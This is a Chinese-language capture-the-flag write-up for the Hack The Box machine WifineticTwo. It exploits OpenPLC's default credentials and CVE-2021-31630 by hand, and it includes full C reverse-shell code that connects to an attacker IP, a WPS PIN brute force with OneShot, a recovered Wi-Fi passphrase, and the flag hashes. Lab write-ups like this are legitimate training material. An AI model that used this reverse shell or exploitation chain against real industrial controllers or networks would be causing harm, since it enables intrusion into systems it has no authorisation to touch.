[Meachines][Medium]WifineticTwo

Main

$ nmap -p- -sC -sV 10.10.11.7 --min-rate 1000

image.png

openPLC…最喜欢的工控来咯

image.png

通过openPLC官方文档找到默认的用户名和密码openplc

image.png

登录进去

image.png

来到Programs页面存在一个上传页面

image.png

通过漏洞库搜索发现存在一个RCE

CVE-2021-31630

image.png

不过这边我们放弃使用工具选择手工,学会真正的去理解它的原理

我们来到hardware,可以看到这里存在一些代码,这是一个st示例程序

image.png

  • ST(Structured Text)文件是一种文本文件格式,用于编写PLC(可编程逻辑控制器)程序。ST是一种高级编程语言,类似于传统的编程语言,如C语言和Pascal。它使用结构化的语法和关键字来描述程序逻辑,如变量声明、条件语句、循环和函数等。

在我们点击保存后,url上方包含了blank_program.st文件

image.png

来到Programs页面后存在一个上传页面,也就是说大概率是上传一个存在后门的st文件getshell

image.png

(* s-h4ck13.st *)
PROGRAM job
  VAR
    var_in : BOOL;
    var_out : BOOL;
  END_VAR

  var_out := var_in;
END_PROGRAM


CONFIGURATION Config0
  RESOURCE Res0 ON PLC
    TASK Main(INTERVAL := T#50ms,PRIORITY := 0);
    PROGRAM start WITH Main : job;
  END_RESOURCE
END_CONFIGURATION

和ABB机器人编程有点类似,但ABB机器人通常用RAPID语言编程的

image.png
在之前的报告中,我们可以看到引用了Res0中的资源,所以在程序中也需要引用
为什么PROGRAM中一定要声明?这是 ST 编程语言的规范要求
CONFIGURATION这部分定义了一个名为 Config0 的配置段。在配置段中,我们指定了一个资源 Res0,并将其放置在 PLC 上。在这个资源中,我们定义了一个任务 Main,它的周期为50毫秒(INTERVAL := T#50ms),优先级为0(PRIORITY := 0)。同时,我们将函数块job(相当于手动指定程序入口了)并且实例化为 start,并将其分配给 Main 任务。

把我们的st文件进行上传

image.png

然后来到Hardware界面,把我们的资源代码写进去

//Hardware
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

//这里的函数为什么没有内容,参考上面报告即可
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut() //当程序运行时会从这个函数中进行更新数据
{
    int port = 10032;
    struct sockaddr_in revsockaddr;
    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);//转换为网络字节顺序
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.23");
    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
    //以上三个是为了将全部结果都返回给攻击端,结果无论正确与否
    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    //系统调用,用于执行一个新的程序。它会加载一个新的程序映像并替换当前进程的镜像,从而使得新程序取代当前进程继续执行,也就意味着web程序将宕机
}

image.png

image.png

image.png

User Flag

# ls /root

# cat /root/user.txt

image.png

fa96bfd0991067bd5612c26372c0e379

Root Flag

我们需要从该主机中破解无线接入点wifi,然后通过ssh接管该AP

image.png

HTB是虚拟的,也就是说我们不能对WIFI进行解除认证攻击抓数据包,只能爆破PIN码,在这里是WPS

https://github.com/nikita-yfh/OneShot-C

我们利用OneShot进行pin码破解

在kali编译完上传到靶机,靶机编译出一堆问题

image.png

我们需要把oneshot到靶机上运行

image.png

# chmod 777 oneshot;./oneshot

image.png

# ./oneshot -i wlan0 -b 02:00:00:00:02:00 -K

image.png

# vim /etc/wpa_supplicant/wpa_supplicant-wlan0.conf


ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1

network={
    ssid="plcrouter"
    psk="NoWWEDoKnowWhaTisReal123!"
    key_mgmt=WPA-PSK
    proto=WPA2
    pairwise=CCMP TKIP
    group=CCMP TKIP
    scan_ssid=1
}

# vim /etc/systemd/network/25-wlan.network

[Match]
Name=wlan0

[Network]
DHCP=ipv4

# systemctl enable wpa_supplicant@wlan0.service
# systemctl restart systemd-networkd.service
# systemctl restart wpa_supplicant@wlan0.service

image.png

image.png

image.png

image.png

82c3c9d3e55882fbbb91e73aea962d67

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-26 07:54:03       19 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-26 07:54:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-26 07:54:03       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-26 07:54:03       20 阅读

热门阅读

  1. [晕事]今天做了件晕事30, perf

    2024-04-26 07:54:03       10 阅读
  2. 华为NCE campus控制器及纳管设备清空配置

    2024-04-26 07:54:03       17 阅读
  3. R语言 数据的整理与清洗(Data Frame 篇下)

    2024-04-26 07:54:03       12 阅读
  4. 问答机器人学习资料

    2024-04-26 07:54:03       13 阅读
  5. 0054__【Linux】 sed命令详解

    2024-04-26 07:54:03       14 阅读
  6. 如何阻止事件冒泡和默认事件

    2024-04-26 07:54:03       11 阅读
  7. 使用Python进行自然语言处理:情感分析

    2024-04-26 07:54:03       11 阅读
  8. NLP - 使用 transformers 翻译

    2024-04-26 07:54:03       14 阅读